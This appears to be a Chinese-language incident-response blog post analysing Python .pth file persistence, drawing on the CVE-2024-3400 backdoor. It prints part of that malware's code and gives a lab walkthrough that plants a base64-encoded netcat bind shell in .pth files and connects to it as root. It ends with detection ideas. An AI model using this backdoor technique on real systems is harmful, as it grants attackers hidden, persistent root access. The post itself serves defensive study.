引言
update.py 脚本的目的是在以下路径部署后门:/usr/lib/python3.6/site-packages/system.pth。这个用 Python 编写的后门从一个导入语句开始,其主要内容以 base64 编码的 blob 形式存储。.pth 扩展名用于向 Python 模块添加额外的路径。从 Python 3.5 版本开始,在.pth 文件中以"import"开头 (后跟空格或制表符) 的行会被执行,这在官方文档中有所描述。因此,通过创建这个文件,每当设备上的任何其他代码尝试导入该模块时,恶意代码就会被执行。
【来源】: Volexity, GlobalProtect 未经身份验证的远程代码执行漏洞 (CVE-2024-3400) 的零日利用
总结一下:从 Python 3.5 开始,在.pth 文件中以"import"开头 (后跟空格或制表符) 的行会被执行。这使得此类文件中的恶意代码能够在设备上任何代码导入模块时运行。在这篇博文中,我们将深入研究这种后门技术的细节,检查其实现方式并调查它是否会留下任何痕迹。
路径配置文件
路径配置文件(.pth) 为 Python 提供了一种扩展其模块搜索路径的方法,使其能够包含 Python 查找模块和包的额外目录。
当.pth 文件放置在 site-packages 或 dist-packages 目录 (我们稍后会介绍) 中时,Python 在启动时会处理这些文件。.pth 文件中的每一行可以向模块搜索路径添加目录,或者在特定条件下执行 Python 代码,正如 Volexity 所强调的那样。特别是,以 import 开头 (后跟空格或制表符) 的行会被执行。利用.pth 文件是在被入侵系统上持久化的一种创新且隐蔽的方法,因为大多数数字取证和事件响应 (DFIR) 工具和枚举脚本通常不会明确检查额外的 Python 路径配置文件。
恶意文件分析
Volexity 发现的 update.py 文件 (MD5: 0c1554888ce9ed0da1583dbdf7b31651) 包含以下 Python 代码。
完整文件可在 VirusTotal 上获取:
def protect():import os,signalsystempth = "/usr/lib/python3.6/site-packages/system.pth"content = open(systempth).read()# os.unlink(__file__)def stop(sig,frame):if not os.path.exists(systempth):with open(systempth,"w") as f:f.write(content)
该后门确保文件system.pth不会被删除。虽然 Volexity 没有分享这个文件的具体内容,但我们可以在实验室中使用类似的.pth文件重现代码执行过程。
在上面的 Python 代码中,目录/usr/lib/python3.6/site-packages/被用来存储恶意的.pth文件。但是,这个路径可能会根据系统配置而变化。那么,还有哪些其他选项可用呢?根据 Python文档所述:site 模块还提供了一种从命令行获取用户目录的方法。:
root@pth:~# python3 -m site
sys.path = ['/root','/usr/lib/python312.zip','/usr/lib/python3.12','/usr/lib/python3.12/lib-dynload','/usr/local/lib/python3.12/dist-packages','/usr/lib/python3/dist-packages',
]
USER_BASE: '/root/.local' (doesn't exist)
USER_SITE: '/root/.local/lib/python3.12/site-packages' (doesn't exist)
ENABLE_USER_SITE: True
在我们的 Ubuntu 服务器上,虽然没有site-packages文件夹,但我们确实有一个dist-packages目录。让我们来探索一下是否也可以在这里建立一个隐蔽的持久化机制。
漏洞利用
我们使用基本的 Netcat(nc) 绑定 shell 作为 payload。一旦执行,它将向互联网开放 45555 端口,只要有人在我们被入侵的服务器上运行 Python 代码就能获得访问权限。
root@pth:~# echo 'nohup bash -c "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f
| /bin/sh -i 2>&1
| nc -l 0.0.0.0 45555 > /tmp/f" &' | base64 -w0bm9odXAgY[..]ZiIgJgo=
Base64 编码的命令被嵌入到以下脚本中,该脚本将被写入文件/usr/local/lib/python3.12/dist-packages/malmoeb.pth。需要注意的是,.pth
文件必须以关键字import;
开头,否则 Python 将不会执行其中包含的代码。
root@pth:~# echo "import os; os.system('echo "bbm9odXAgY[..]ZiIgJgo=" |
base64 -d|bash')" > /usr/local/lib/python3.12/dist-packages/malmoeb.pth
这是一个有效的持久化技术,因为只需要简单执行 Python 代码就能触发它:
root@pth:~# python3 -c "print('dfir.ch')"
dfir.ch
现在我们的后门已经打开,可以成功连接到被入侵的服务器:
malmoeb@home ~ % nc 164.90.220.147 45555
# id
uid=0(root) gid=0(root) groups=0(root)
#
太好了!如果你仔细观察上面python3 -m site
的输出,你可能已经注意到在 /root 目录下缺少 site-packages 文件夹。让我们来探索这种方法:
root@pth:~# mkdir -p /root/.local/lib/python3.12/site-packages
root@pth:~# mv malmoeb.pth /root/.local/lib/python3.12/site-packages
root@pth:~# python3 -c "print('dfir.ch')"
没错,我们又一次获得了 shell。
接下来呢?
如果在被入侵的 Linux 系统上存在 EDR,进程链 (Python -> Bash -> nc) 很可能会触发警报,甚至仅仅是 Python -> Bash 就可能引起怀疑。此外,密切监控新创建的.pth文件可以帮助检测这些持久化机制。然而,默认的安全解决方案不太可能识别出这种后门或.pth文件中代码的执行。
与隐藏的.pth
文件相关的风险已经在cpython
项目的问题追踪器中讨论过 (Issue #113659)。
【图】隐藏 pth 文件的安全风险
这个问题的严重性并不是很大,因为它需要用户交互才能激活。但它确实增加了风险。我认为我们应该禁止处理隐藏的 pth 文件。
$PYTHONPATH - 深入探索
Itzik Kotler SafeBreach 的联合创始人兼 CTO,发表了我在你的$PYTHONPATH中,后门你的Python程序(演示文稿可在这里获取)。
在他的演讲中,Itzik 演示了如何在不改变模块原有功能的情况下,向任何 Python 模块添加额外的代码。他使用PYTHONPATH环境变量重定向到修改后的模块,这在我看来,为这里讨论的.pth文件技术增添了一个有趣的层面。
在系统被入侵后,Python 模块可能被注入恶意代码,或者PYTHONPATH环境变量可能被劫持。有多少安全团队能真正检测到这种行为呢?
参考
[1]Volexity, GlobalProtect 未经身份验证的远程代码执行漏洞 (CVE-2024-3400) 的零日利用: https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
[2]文档: https://docs.python.org/3.8/library/site.html
[3]Issue #113659: https://github.com/python/cpython/issues/113659
[4]Itzik Kotler: https://www.linkedin.com/in/itzikk/
[5]这里: https://www.ikotler.org/docs/InYourPythonPath.pdf
原创 dfir securitainment